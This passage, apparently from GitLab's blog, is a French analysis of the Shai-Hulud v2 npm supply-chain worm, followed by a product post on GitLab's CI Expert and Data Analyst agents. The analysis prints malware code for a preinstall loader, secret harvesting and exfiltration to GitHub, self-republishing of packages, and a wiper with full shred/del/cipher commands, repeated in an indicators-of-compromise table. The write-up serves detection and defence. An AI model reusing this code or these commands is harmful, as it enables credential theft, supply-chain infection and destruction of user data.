l'attaque](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### Vecteur d'infection initial\n\nLe logiciel malveillant infiltre les systèmes au moyen d'un processus de chargement en plusieurs étapes soigneusement conçu. Les paquets infectés contiennent un `package.json` modifié avec un script de pré-installation pointant vers `setup_bun.js`. Ce script semble anodin et prétend installer l'environnement d'exécution JavaScript Bun, un outil légitime. Cependant, son véritable objectif est d’établir l'environnement d'exécution du malware.\n\n```javascript\n// This file gets added to victim's packages as setup_bun.js\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // Downloads and installs bun\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // Runs the actual malware\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\nLe fichier `setup_bun.js` télécharge ou localise l'environnement d'exécution Bun sur le système, puis exécute la charge utile `bun_environment.js`, un fichier obfusqué de 10 Mo déjà présent dans le paquet infecté. Cette approche offre plusieurs couches d'évasion : le fichier est petit et semble légitime, tandis que le code malveillant réel est fortement obfusqué et regroupé dans un fichier trop volumineux pour une simple inspection.\n\n### Collecte des identifiants\n\nUne fois exécuté, le logiciel malveillant commence immédiatement à rechercher des identifiants dans plusieurs sources :\n\n* **Tokens GitHub** : il recherche dans les variables d'environnement et les configurations de l'interface de ligne de commande (CLI) GitHub les tokens commençant par `ghp_` (token d'accès personnel GitHub) ou `gho_` (token OAuth GitHub).\n* **Identifiants cloud** : il énumère les identifiants AWS, GCP et Azure à l'aide des SDK officiels et vérifie les variables d'environnement, les fichiers de configuration et les services de métadonnées.\n* **Tokens npm** : il extrait les tokens de publication de paquets des fichiers `.npmrc` et des variables d'environnement, qui sont des emplacements courants pour stocker de manière sécurisée des configurations et des identifiants sensibles.\n* **Analyse du système de fichiers** : il télécharge et exécute Trufflehog, un outil de sécurité légitime, pour analyser l'intégralité du répertoire personnel à la recherche de clés API, de mots de passe et d'autres secrets cachés dans les fichiers de configuration, le code source ou l'historique [git](https://about.gitlab.com/fr-fr/blog/2024/10/08/what-is-git/ \"Qu'est-ce que Git ?\").\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // Scan user's home directory for secrets\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // Upload findings to exfiltration repo\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### Réseau d'exfiltration de données\n\nLe logiciel malveillant utilise les tokens GitHub volés pour créer des dépôts publics avec un marqueur spécifique dans leur description : « Sha1-Hulud: The Second Coming. » Ces dépôts servent de boîtes de dépôt pour les identifiants volés et les informations système.\n\n```javascript\nasync function createRepo(name) {\n  // Creates a repository with a specific description marker\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // Marker for finding repos later\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // Install GitHub Actions runner for persistence\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // Installs self-hosted runner\n  }\n\n  return repo;\n}\n```\n\nSi le token GitHub initial ne possède pas les autorisations requises, le logiciel malveillant recherche d'autres dépôts compromis avec le même marqueur, ce qui lui permet de récupérer des tokens d'autres systèmes infectés. Il naît ainsi un réseau résilient de type « botnet » dans lequel les systèmes compromis partagent des tokens d'accès.\n\n```javascript\n// How the malware network shares tokens:\nasync fetchToken() {\n  // Search GitHub for repos with the identifying marker\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // Try to retrieve tokens from compromised repos\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // Use token from another infected system\n    }\n  }\n  return null;  // No valid tokens found in network\n}\n```\n\n### Propagation dans la chaîne d'approvisionnement\n\nEn utilisant les tokens npm volés, le logiciel malveillant :\n\n1. Télécharge tous les paquets maintenus par la victime.\n2. Injecte le fichier `setup_bun.js` dans les scripts de pré-installation de chaque paquet.\n3. Regroupe la charge utile malveillante `bun_environment.js`.\n4. Incrémente le numéro de version du paquet.\n5. Republie les paquets infectés sur npm.\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // Download original package\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // Extract and modify package.json\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // Add malicious preinstall script\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // Increment version\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // Bundle backdoor installer\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // Repackage and publish\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## Mécanisme d'autodestruction\n\nNotre analyse a révélé une charge utile destructrice conçue pour protéger l'infrastructure du logiciel malveillant contre les tentatives de neutralisation.\n\nLe malware surveille en permanence son accès à GitHub (pour l'exfiltration de données) et à npm (pour la propagation). Si un système infecté perd l'accès aux deux canaux simultanément, le logiciel malveillant déclenche la destruction immédiate des données sur la machine compromise. Sur Windows, il tente de supprimer tous les fichiers utilisateur et d'écraser les secteurs du disque. Sur les systèmes Unix, il utilise `shred` pour écraser les fichiers avant leur suppression, ce qui rend la récupération pratiquement impossible.\n\n```javascript\n// CRITICAL: Token validation failure triggers destruction\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // Try to find or create GitHub access\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // Search for tokens in compromised repos\n\n    if (!fetchedToken) {  // No GitHub access possible\n      if (npmToken) {\n        // Fallback to NPM propagation only\n        await El(npmToken);\n      } else {\n        // DESTRUCTION TRIGGER: No GitHub AND no NPM access\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // Attempts to delete all user files and overwrite disk sectors\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // Overwrite deleted data\n          ]);\n        } else {\n          // Attempts to shred all writable files in home directory\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // Overwrite and delete\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // Remove empty dirs\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nCe scénario est dangereux : si GitHub supprime en masse les dépôts du malware ou si npm révoque en masse les tokens compromis, des milliers de systèmes infectés pourraient simultanément détruire les données des utilisateurs. La nature distribuée de l'attaque signifie que chaque machine infectée surveille indépendamment l'accès et déclenche la suppression des données de l'utilisateur lorsqu'une neutralisation est détectée.\n\n\n## Indicateurs de compromission\n\n\nPour faciliter la détection et la réponse, vous retrouverez ci-dessous une liste plus complète des principaux indicateurs de compromission identifiés lors de notre analyse.\n\n\n| Type | Indicator | Description |\n| :---- | :---- | :---- |\n| **fichier** | `bun_environment.js` | Script post-installation malveillant dans les répertoires node_modules |\n| **répertoire** | `.truffler-cache/` | Répertoire caché créé dans le répertoire personnel de l'utilisateur pour le stockage du binaire Trufflehog |\n| **répertoire** | `.truffler-cache/extract/` | Répertoire temporaire utilisé pour l'extraction du binaire |\n| **fichier** | `.truffler-cache/trufflehog` | Binaire Trufflehog téléchargé (Linux/Mac) |\n| **fichier** | `.truffler-cache/trufflehog.exe` | Binaire Trufflehog téléchargé (Windows) |\n| **processus** | `del /F /Q /S \"%USERPROFILE%*\"` | Commande de charge utile destructrice Windows |\n| **processus** | `shred -uvz -n 1` | Commande de charge utile destructrice Linux/Mac |\n| **processus** | `cipher /W:%USERPROFILE%` | Commande de suppression sécurisée Windows dans la charge utile |\n| **commande** | `curl -fsSL https://bun.sh/install \\| bash` | Installation Bun suspecte pendant l'installation du paquet NPM |\n| **commande** | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | Installation de Bun sous Windows via PowerShell |\n## Comment GitLab peut-elle vous aider à détecter cette attaque ?\n\nSi vous utilisez GitLab Ultimate, vous pouvez exploiter les capacités de sécurité intégrées pour identifier immédiatement l'exposition liée à cette attaque au sein de vos projets.\n\nTout d'abord, activez l'[**analyse des dépendances**](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/) pour analyser automatiquement les dépendances de votre projet par rapport aux bases de données de vulnérabilités connues. **Si des paquets infectés sont présents dans vos fichiers `package-lock.json` ou `yarn.lock`, l'analyse des dépendances les signalera dans les résultats de votre pipeline et dans le rapport de vulnérabilités.** Pour obtenir des instructions complètes de configuration, consultez notre [documentation](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer).\n\nUne fois activées, les merge requests qui introduisent un paquet compromis afficheront un avertissement avant que le code n'atteigne votre branche principale.\n\n**[GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/)** peut être également utilisé avec l'analyse des dépendances afin de vérifier rapidement l'exposition de votre projet sans naviguer dans les rapports.\n\nDans le menu déroulant, sélectionnez l'[agent Security Analyst](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/) et posez des questions comme :\n* « Est-ce que l'une de mes dépendances est affectée par l'attaque de logiciels malveillants Shai-Hulud v2 ? »\n* « Ce projet a-t-il des vulnérabilités liées à la chaîne d'approvisionnement npm ? »\n* « Montre-moi les vulnérabilités critiques dans mes dépendances JavaScript. »\n\nL'agent interrogera les données de vulnérabilité de votre projet et fournira une réponse directe afin d'aider les équipes de sécurité à identifier rapidement les projets impactés.\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png\" alt=\"Résultats de l'agent analyste de sécurité GitLab\">\n\nPour les équipes qui gèrent de nombreux dépôts, nous recommandons de combiner l'analyse des dépendances pour une détection automatisée continue dans le [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/) et l'agent Security Analyst pour des investigations ponctuelles et une réponse rapide lors d'incidents comme celui-ci.\n## Et après ?\n\nCette attaque représente une évolution dans les attaques de la chaîne d'approvisionnement, car la menace de dommages collatéraux devient le principal mécanisme de défense de l'infrastructure des attaquants. Nous poursuivons notre enquête et collaborons avec la communauté afin de comprendre l'étendue complète de cette attaque et de développer des stratégies de correction sûres.\n\nLes systèmes de détection automatisés de GitLab continuent de surveiller les nouvelles infections et les variantes de cette attaque. En partageant nos conclusions rapidement, nous espérons aider la communauté à répondre efficacement tout en évitant les pièges créés par le mécanisme d'autodestruction du logiciel malveillant.",{"featured":691,"template":843,"slug":1258},"gitlab-discovers-widespread-npm-supply-chain-attack",{"content":1260,"config":1263},{"title":1162,"description":1163,"body":1164,"category":793,"tags":1261,"date":1007,"authors":1262,"heroImage":1169},[259,914,853],[1167,1168],{"featured":13,"template":843,"slug":1171},[1265,1270,1275],{"content":1266,"config":1269},{"title":1003,"description":1004,"authors":1267,"date":1007,"body":1008,"category":553,"tags":1268,"heroImage":1010},[910,1006],[89,550,540],{"featured":691,"template":843,"slug":1012},{"content":1271,"config":1274},{"title":1124,"description":1125,"authors":1272,"heroImage":1128,"date":1007,"body":1129,"category":780,"tags":1273},[1127],[853,244],{"featured":691,"template":843,"slug":1132},{"content":1276,"config":1279},{"title":921,"description":922,"authors":1277,"heroImage":925,"date":926,"body":927,"category":717,"tags":1278},[924],[853,793],{"featured":691,"template":843,"slug":930},[1281,1286,1297],{"content":1282,"config":1285},{"title":1186,"description":1187,"authors":1283,"heroImage":1190,"date":1179,"body":1191,"category":793,"tags":1284},[1189],[805,853,793,835],{"featured":691,"template":843,"slug":1194},{"content":1287,"config":1295},{"title":1288,"description":1289,"authors":1290,"heroImage":1190,"date":1292,"body":1293,"category":793,"tags":1294},"GitLab 18.11 : les agents CI Expert et Data Analyst comblent les lacunes du développement","Configurez votre CI et interrogez vos données de cycle de vie du développement logiciel grâce à deux nouveaux agents fondamentaux de GitLab Duo Agent Platform, disponibles dans GitLab 18.11.",[1291],"Corinne Dent","2026-04-16","Le code généré par l'IA progresse plus vite que les systèmes qui l'entourent ne peuvent suivre. Plus de code signifie plus de merge requests en attente, plus de pipelines à configurer, plus de questions sur la livraison auxquelles personne n'a le temps de répondre — et la plupart des outils sur lesquels les équipes s'appuient n'ont pas été conçus pour ce rythme.\n\nDans GitLab 18.11, deux nouveaux agents fondamentaux pour Duo Agent Platform s'attaquent à des lacunes spécifiques du cycle de développement que l'IA a largement laissées de côté :\n* L'agent CI Expert (désormais en version bêta) comble le fossé entre l'écriture\n  du code et son intégration dans un pipeline opérationnel.\n\n* L'agent Data Analyst (désormais en disponibilité générale) comble le fossé entre\n  la livraison du code et la capacité à répondre à des questions fondamentales sur\n  le déroulement réel de cette livraison.\n\n\n\nCes problématiques ne pouvaient pas être résolues par un assistant généraliste. Un outil fonctionnant en dehors de GitLab peut générer un fichier YAML ou répondre à une question, mais il n'a aucune connaissance des performances historiques de vos pipelines, des zones de concentration des échecs, ni de vos temps de cycle de merge request réels. Ce contexte réside dans GitLab. Ces agents aussi.\n## Configurer rapidement la CI avec l'agent CI Expert\n\nL'IA a facilité l'écriture du code comme jamais auparavant. Intégrer ce code dans un pipeline opérationnel reste pourtant quelque chose que la plupart des équipes font des jours, voire des semaines plus tard — si tant est qu'elles le fassent. Le problème de la page blanche n'est plus dans l'éditeur. La page blanche, c'est désormais `.gitlab-ci.yml`.\n\nLes développeurs qui n'ont jamais configuré de CI ne savent pas à quoi ressemble la détection de langage en YAML, quelles commandes de test utiliser, ni comment valider le résultat avant de pousser leurs modifications. Les équipes copient généralement une configuration d'un projet précédent qui ne correspond pas forcément, assemblent des exemples tirés de la documentation, ou attendent la seule personne qui l'a déjà fait. Si cette personne n'est pas disponible, la CI devient quelque chose qu'on « fera plus tard ». Plus tard ne vient jamais.\n\nQuand la CI n'est jamais mise en place, les conséquences se font sentir partout. Les modifications sont livrées sans filet de sécurité fiable, les régressions apparaissent en production plutôt qu'en pipeline, et le travail s'accumule en lots plus importants et plus risqués, car personne ne veut être celui qui « casse le build ». Avec le temps, les équipes s'habituent à travailler dans l'incertitude, en s'appuyant souvent sur des connaissances institutionnelles non documentées et des tests ad hoc, plutôt que sur une boucle de retour rapide et prévisible intégrée à chaque modification.\n\nL'agent CI Expert, désormais disponible en version bêta, supprime ces frictions. Il inspecte votre dépôt, identifie votre langage et votre framework, et propose un pipeline de build et de test opérationnel, adapté à ce qui s'y trouve réellement — en expliquant chaque décision en langage clair. L'objectif : un pipeline fonctionnel en quelques minutes, sans écrire une seule ligne de YAML à la main.\n\nCe que fait l'agent CI Expert :\n\n* La génération de pipeline tenant compte du dépôt détecte le langage, le\n  framework et la configuration des tests.\n\n* Il génère des configurations de build et de test valides et exécutables.\n* Un flux guidé pour le premier pipeline, avec une explication en langage clair\n  de chaque étape dans Agentic Chat.\n\n* Une sémantique GitLab CI native, sans traduction de configuration requise.\n\nParce qu'il s'exécute dans GitLab et observe le comportement réel des pipelines au fil du temps, chaque amélioration peut s'appuyer sur la façon dont les équipes travaillent réellement, et non sur de simples exemples statiques.\n\u003Ciframe src=\"https://player.vimeo.com/video/1183458036?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"CI/CD Expert Agent\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cbr>\u003C/br>\n\nL'agent CI Expert est disponible sur GitLab.com, Self-Managed et Dedicated, dans les éditions Free, Premium et Ultimate avec GitLab Duo Agent Platform activé.\n\n## Interroger les données GitLab en langage naturel avec l'agent Data Analyst\n\nL'IA a accéléré la cadence de livraison des équipes. Répondre à des questions fondamentales sur l'avancement de ce travail est devenu plus difficile, pas plus simple.\n\nCombien de temps les merge requests restent-elles en revue ? Quels pipelines ralentissent les équipes ? Les objectifs de déploiement sont-ils réellement atteints ? Ces questions trouvaient autrefois une réponse en consultant un tableau de bord. Aujourd'hui, avec davantage de code, davantage d'équipes et une complexité accrue, les données existent — elles sont dans GitLab — mais y accéder implique encore d'attendre une équipe analytique, de soumettre une demande de tableau de bord, ou d'apprendre le GLQL.\n\nL'agent Data Analyst comble ce fossé. Posez une question en langage naturel et obtenez une visualisation instantanée dans Agentic Chat. Aucun langage de requête, aucune demande de tableau de bord, aucune attente que quelqu'un d'autre assemble les réponses.\n\nPar exemple, l'agent peut répondre aux questions portant sur les sujets suivants, selon les rôles :\n\n* Responsables ingénierie : temps de cycle des merge requests, débit par projet,\n  points de blocage dans les revues.\n\n* Développeurs : tendances de contribution, tests instables bloquant leurs merge\n  requests, évolution de la vitesse des pipelines.\n\n* Ingénieurs DevOps et plateforme : taux de succès/échec des pipelines,\n  utilisation des runners, fréquence de déploiement.\n\n* Direction ingénierie : fréquence de déploiement multi-portefeuille, métriques\n  de santé des projets, comparaisons des délais de livraison.\n\n\nDésormais en disponibilité générale dans la version 18.11, l'agent couvre les merge requests, les tickets, les projets, les pipelines et les jobs — une couverture complète du cycle de vie du développement logiciel, étendue par rapport au périmètre de la version bêta. Parce que l'agent Data Analyst interroge ce qui se trouve déjà dans GitLab, le contexte est toujours à jour, sans pipeline à maintenir ni outil tiers à synchroniser. Les requêtes générées en GitLab Query Language peuvent être copiées et utilisées partout où le Markdown GitLab est pris en charge, avec une exportation directe vers les éléments de travail et les tableaux de bord prévue dans la roadmap.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1183094817?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Data Analyst agent demo\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cbr>\u003C/br>\n\nL'agent Data Analyst est disponible sur GitLab.com, Self-Managed et Dedicated, dans les éditions Free, Premium et Ultimate avec GitLab Duo Agent Platform activé.\n\n## Une plateforme unique, un contexte connecté\n\nLes deux agents s'exécutent dans GitLab, avec accès au code, aux pipelines, aux tickets et aux merge requests déjà présents. C'est ce qui distingue une IA native à la plateforme d'un assistant déconnecté : le contexte est toujours à jour et ne fait que gagner en pertinence avec le temps. L'agent CI Expert et l'agent Data Analyst représentent deux avancées concrètes vers une plateforme où l'IA ne se contente pas de vous aider à écrire du code plus vite, mais vous aide à comprendre, livrer et maintenir ce qui est construit.\n\n> [Commencer un essai gratuit de GitLab Duo Agent Platform](https://about.gitlab.com/gitlab-duo/)\n  pour découvrir ces agents IA fondamentaux.",[853,835,793],{"featured":13,"template":843,"slug":1296},"ci-expert-and-data-analyst-ai-agents-target-development-gaps",{"content":1298,"config":1301},{"title":879,"description":880,"authors":1299,"body":884,"heroImage":885,"date":886,"category":704,"tags":1300},[882,883],[853,259,888,767,793],{"featured":13,"template":843,"slug":890},1777394008449]